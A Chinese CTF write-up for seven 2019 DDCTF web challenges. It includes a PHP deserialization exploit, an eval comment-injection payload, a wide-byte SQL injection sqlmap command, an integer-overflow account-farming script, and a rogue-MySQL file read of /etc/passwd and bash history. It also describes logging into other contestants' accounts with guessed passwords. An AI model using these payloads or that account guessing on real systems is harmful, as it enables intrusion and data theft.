Back

2019 DDCTF Web wp

2019 DDCTF web writeup

[TOC]

Web1 滴~

Description

{% colorquote info %} NULL

题目地址:http://117.51.150.246

{% endcolorquote %}

Hacking

文件读取

<title>TmprMlpUWTBOalUzT0RKbE56QTJPRGN3</title>index.php</br>index.php</br><img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>

直接读 index.php 得到

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

找到类似的原题,但是原题利用了.idea文件泄露,这里并没有,留下的只是一个深深的巨坑,首先看 php 顶部链接找到博客,然后发现这篇博客日期不对。找到该博主7月4日的博客,发现是一篇名为vim 异常退出 swp文件提示的博客,看文章内容发现有一个恢复.practice.txt.swp的操作。

结果这里是个巨坑,最后是要拿到的文件是practice.txt.swp,并没有开头的.符号…然后提示f1ag!ddctf.php,然后去读这个文件源码,得到

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

很简单的变量覆盖。

Web 2 WEB 签到题

Description

{% colorquote info %} NULL

题目地址:http://117.51.158.44/index.php

{% endcolorquote %}

Hacking

url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

我们可以看到 Application.php 中的关键代码

public function __destruct(){
  	//...
	  $this->response($data = file_get_contents($path), 'Congratulations');  
	  //...
}

而且在session.php中我们可以找到一处反序列化的地方,所以很明显就需要我们去构建一个反序列化漏洞,利用这里去读取../config/flag.txt

我们在session.php中发现关键代码

if (!empty($_POST["nickname"])) {
  $arr = array($_POST["nickname"], $this->eancrykey);
  $data = "Welcome my friend %s";
  foreach ($arr as $k => $v) {
    $data = sprintf($data, $v);
  }
  parent::response($data, "Welcome");
}

这里循环使用sprintf格式化打印$arr,所以我们只需要让第二次存在一个%s,即可让他打印出$this->eacrykey,所以可以构造nickname=%s即可得到$this->eacrykey为 EzblrbNS

之后我们可以发现主要就是要构造$session这个变量来触发session_read()函数中的$session = unserialize($session);

于是我们可以先从服务器获取session_create()得到的数据如下

a:4:{s:10:"session_id";s:32:"9e887a62624202e40d11881772b19569";s:10:"ip_address";s:11:"157.0.25.86";s:10:"user_agent";s:82:"Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.14;+rv:66.0)+Gecko/20100101+Firefox/66.0";s:9:"user_data";s:0:"";}a170c04974e03dc5cc763c0ab32d6905;

我们就可以得到 ip 了,接下里我们只需要去构造反序列化Application这个类就好了。

这个类也很简单,主要就是绕过它的这个sanitizepath()方法即可,我们双写就可以绕过了。

var $path = "..././config/flag.txt";

所以我们可以在 session.php 中自己本地搭一下

private function session_create(){
        $sessionid = '';
        while (strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0, mt_getrandmax());
        }
        $a = new Application();
        $userdata = array(
            'session_id' => '272a4339b6b9340dad9466656d869286',
            'ip_address' => '157.0.25.86',
            'user_agent' => $a,
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );
    }

session_id 修改为服务器获取得到的 session_id 即可,ip_address 服务器也返回了,填上去了就好了。这样我们本地搭起环境,从 http 头中拿到 cookie ,用这个 cookie 访问服务器即可拿到 flag 了。

Web 3 Upload-IMG

Description

{% colorquote info %}

http://117.51.148.166/upload.php user:dd@ctf pass:DD@ctf#000

{% endcolorquote %}

Hacking

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)

其他人可以直接用搜到的 jpg_payload.php 可以直接随便拿一个图片都可以拿到 flag ,而我就不行了…应该是图片的原因….

最后自己按照这个 GitHub 仓库 生成拿到了 flag…

Web 4 homebrew event loop

Description

{% colorquote info %}

http://116.85.48.107:5002/d5af31f96147e657 Flag格式:DDCTF{.....},也就是请手动包裹上DDCTF{}

{% endcolorquote %}

Hacking

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f96147e657'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored
    
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack
    
class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp
    
@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':
    
        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'
            
        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()
        
        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')
        
def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
    
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume
    
def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
    
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0') 

一个比较简单的 Flask 框架,提供使用 points 购买 diamonds 的功能,然后将操作记录写进session['log'] 里面。

整个代码还是比较简单的,而且漏洞点也相对比较明显。其实每个语言的eval函数都差不多,比如这里 python 的eval函数,类似于 php 中的eval,也可以将eval中的字符串当作代码来处理。

所以这意味着什么呢?这就意味着可以使用#注释我们不需要的代码。

举个例子:

>>> eval("print(1)")
1
>>> eval("print(1)#do something)")
1

所以我们就可以利用这个特性,利用题目中的event_handler来执行任意函数。

利用#成功绕过了后缀的限制执行了show_flag_function函数。

虽然可以直接执行getFlag函数,但是这个函数还是有一个限制session['num_items'] >= 5,即使可以直接执行但是因为这个判断也无法绕过。所以这里可以有一些思路,比如找一个可以由int函数转换成负数的数,或者直接打印函数什么。但是两种基本都走不通…

CTF 魅力所在可能就是可以让你利用你能利用的一切去创造一些新的途径达到自己目的。

既然要绕过session['num_items'] >= 5的判断,我们就需要通过buy_handler来增加自己的物品数,然而这个函数里面我们可以看到

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

最后一行并没有直接调用consume_point_function,而是通过调用trigger_event来调用花费的函数。

然而我们可以看到trigger_event函数

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

只不过是用来增加session记录而已,并没有立即去调用consume_point_function,所以如果我们在buy_handlerconsume_point_function两个函数之间执行get_Flag函数,就可以先增加自己的item来绕过get_Flag函数对于item的判断,尽管之后会执行 consume_point_function函数,但是 Flag 已经被我们打印出来了,所以后面即使会回滚也无关紧要了。

所以如何构造这个 payload 达到我们在buy_handler之后立即执行get_Flag函数呢。让我们来看看整个代码的逻辑。首先代码会进入entry_point函数,并将querystring传入trigger_event函数,trigger_event将行动记录到session['log']当中,接着执行execute_event_loop函数。

我们重点来看execute_event_loop这个函数。

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

这个函数进入循环执行函数的条件为while len(request.event_queue) > 0,而trigger_event函数是可以控制request.event_queue的关键,所以按照我们之前的思路,我们是不是可以利用这个函数来控制我们的执行顺序呢?

例如我们可以先尝试构造action:trigger_event%23;action:buy;8,我们本地可以通过app.logger.info来查看execute_event_loop循环中的actionargs参数,我们可以得到

可以看到执行了but_handler函数,我们注意trigger_event中是可以接受数组的

if type(event) == type([]):
        request.event_queue += event

对于数组的处理,他会挨个加入到request.event_queue,所以我们就可以利用传入数组来控制执行顺序,只要我们传入一个第一个参数为but_handler的函数,第二个参数为get_Flag的函数就可以实现在调用花费函数之前来输出 Flag 了。

怎么构造数组呢?在execute_event_loop中对于参数的处理可以自己随便测试一下就知道了他是以:;之后的字符串以#为分割来形成数组的。

所以这样子我们就成功将get_flag函数优先调用了。接下来就是处理一些细节的事情了,比如调用get_Flag在源代码中是get_flag_handler,所以我们需要传入的参数是action:get_flag,以及 Flag 最后是通过以下函数调用trigger_event把 Flag 输出到session['log']当中的。

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

所以我们的 payload 就是action:trigger_event%23;action:buy;8%23action:get_flag;,再通过p牛的 flask cookie 解密脚本即可得到 flag

Web 5 欢迎报名DDCTF

Description

{% colorquote info %}

http://117.51.147.2/Ze02pQYLf5gGNyMn/

提示:XSS不是获取cookie 提示2:之后是注入

{% endcolorquote %}

Hacking

一开始根本打不了…而且还被人用 Beff 搅屎了…而且严重怀疑这题是中途改题的…很坑

首先题目设置比较简单

测试 XSS ,但是贼坑的误导你,返回了想误导你走入 sql 注入的大坑。

我们可以用 xss 拿到 admin.php 的 html 源码

看到源码中一个接口,直接访问提示需要一个 id 的传参,随便输入之后看到响应包

HTTP/1.1 200 OK
Date: Thu, 25 Apr 2019 03:06:39 GMT
Server: Apache
Content-Length: 31
Connection: close
Content-Type: text/html;charset=gbk


<title>List Query API</title>

发现Content-Typecharset=gbk,猜测是一个宽字节注入。而且并没有什么过滤,直接开注,可能唯一需要一点 trick 的就是需要用十六进制绕过被转义的单引号了…

注出库名

注出表名

注出字段名

拿到 flag

当然也可以用 sqlmap 直接跑。

也可以指定使用--tamper unmagicquotes来进行注入

python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --level 3 -D ctfdb -T ctf_fhmHRPL5 --dump

Web 6 大吉大利,今晚吃鸡~

Description

{% colorquote info %}

http://117.51.147.155:5050/index.html#/login 注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

本题不需要使用扫描器

{% endcolorquote %}

Hacking

一开始一直在溢出购买的这里,但是一旦溢出了,服务器就返回 500 了…

GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
Host: 117.51.147.155:5050
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.155:5050/index.html
Connection: close
Cookie: user_name=zedd; REVEL_SESSION=ef66cfc3f5199180eea686597f4a1e72

然后看到一道类似护网杯Itshop题目,所以考虑这个地方是不是也是用的是余额-支出这么个操作来溢出呢

查找 GoLang 的相关数据类型,用 uint32 成功溢出。

猜测在 price 转换成 int 的时候发生溢出变成 -1 ,导致余额减去花费大于0,成功绕过判断买到入场券。

之后就比较简单了,可以通过输入 ticket 杀 bot ,猜测 id 与 ticket 有某种映射关系,可以注册一系列小号买 ticket 保大号杀。

附上脚本。

import requests
import re
import time

username = 'zedde'
base_url = 'http://117.51.147.155:5050'
register = base_url + '/ctf/api/register?name={0}&password=12345678'
buy_url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296'
search_url = base_url + '/ctf/api/search_bill_info'
pay_url = base_url + '/ctf/api/pay_ticket?bill_id='
remove_url = base_url + '/ctf/api/remove_robot?id={0}&ticket={1}'

cookies = dict(user_name='zedd',REVEL_SESSION='ef66cfc3f5199180eea686597f4a1e72')

for i in range(0,700):
    user = username + str(i)
    register_url = register.format(user)
    req = requests.session()
    rep = req.get(register_url)
    rep = req.get(buy_url)
    rep = req.get(search_url)

    str_text = r'"bill_id":"(.*)",'
    match = re.search(str_text, rep.text, re.M|re.I)
    if match:
        bill_id = match.group(1)

    rep = req.get(pay_url + bill_id)
    matchObj = re.search( r'{"your_id":(.*),"your_ticket":"(.*)"}]', rep.text, re.M|re.I)
    # print(rep.text)
    
    if matchObj:
        bot_id = matchObj.group(1)
        ticket = matchObj.group(2)
    else:
        continue
    r = requests.get(remove_url.format(bot_id,ticket), cookies=cookies)
    print(r.text)
    time.sleep(1)

这题还有一种 trick 就是猜榜单已经做出来的师傅的密码,一般 id 都是师傅们的 id ,密码大多都是12345678(别问我怎么知道…我也是12345678…

比如这位师傅,用 12345678 登进去就拿到他的 flag 了。后面就是你敢不敢交的问题了…手动斜眼,毕竟后面有一段看起来貌似是随机的字符串…可能是主办方用来防作弊的?不得而知…hhhh

后面看官方的 wp 发现光房预设解其实是想让选手用 md5 长度拓展攻击去做的,也可以通过下面这题 mysql 弱口令来读吃鸡的源码拿 flag。

另外:登录那里还有个水平越权,无论成功与否,都会返回用户的 cookie ,因此也可以猜师傅们的用户名,直接带着 cookie 去看他的/main/result即可。(2333

Web 7 WEB mysql弱口令

Description

{% colorquote info %}

http://117.51.147.155:5000/index.html#/scan 部署agent.py再进行扫描哦~

本题不需要使用扫描器

{% endcolorquote %}

Hacking

很经典的 Rogue-Mysql-Server 一题,但是坑点还是有的。建议使用这个 Github 仓库来做allyshka/Rogue-MySql-Server

题目给了一个 agent.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

这里可能会比较容易误导,题目是固定地去请求你的 8123 端口,你必须得在 8123 部署这个 agent.py ,然后看代码,这个 agent.py 并没有做一个内网转发代理什么的,只不过是探测你部署的机器上有没有运行 mysqld 服务以及对应的服务端口是什么,然后他在外网去访问 agent.py 返回的 mysql 的端口。知道这个就非常好做了,基本坑都绕过了…不然的话就像一开始只能一个个排错什么的…

只要把 agent.py 中的返回直接给他改了,改成直接返回自己的端口即可。

 def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': '0.0.0.0:3306', 'Process_name': 'mysqld'}
            result.append(tmp_dic)
        return result

例如这样,不一定非得 3306 ,可以把 Rogue Mysql 那一套放在其他端口也可。

其他的都是一贯的 Rogue Mysql 的操作,这里就不重复演示了。

然后可以去读/root/.bash_history看之前的路径文件,发现在/home/dc2-user/ctf_web_2/app/main/views.py可以读到题目源码

# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
	tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result['Flag'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
    p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = 'http://'+ip + ':' + str_port
    curl(url)
    if not os.path.exists('content.log'):
        return (0, '未开启agent')
    with open('content.log') as f1:
        tmp_list = f1.readlines()
        response = ''.join(tmp_list)
    os.remove('content.log')
    if not 'mysqld' in response:
        return (0, response)
    else:
        return (1, response)


def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
            ip2long('10.0.0.0') >> 24 == ip >> 24 or \
            ip2long('172.16.0.0') >> 20 == ip >> 20 or \
            ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = ['root', 'admin', 'mysql']
    weak_pass = ['', 'mysql', 'root', 'admin', 'test']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
                return tmp_dic
            else:
                tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
                return tmp_dic



def mysql_login(host, port, username, password):
    '''mysql login check'''

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

可以读/etc/passwd拿到 mysql 的路径,然后根据 mysql 的路径与 flag 在数据库中的位置提示,我们可以直接读/var/lib/mysql/security/flag.ibd中可以拿到 flag,也可以读/var/lib/mysql/ibdata1,只是这个文件一般比较大。

也有师傅说可以读.mysqlhistory

.mysql_history虽然读不到数据库内容,但是在这里可以看到这里出题者是用了insert,我们可以看到他的操作的语句,也拿到了 flag

这里可以读到吃鸡那题的代码,路径为/home/dc2-user/ctf_web_1/web_1/main/views.py

from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
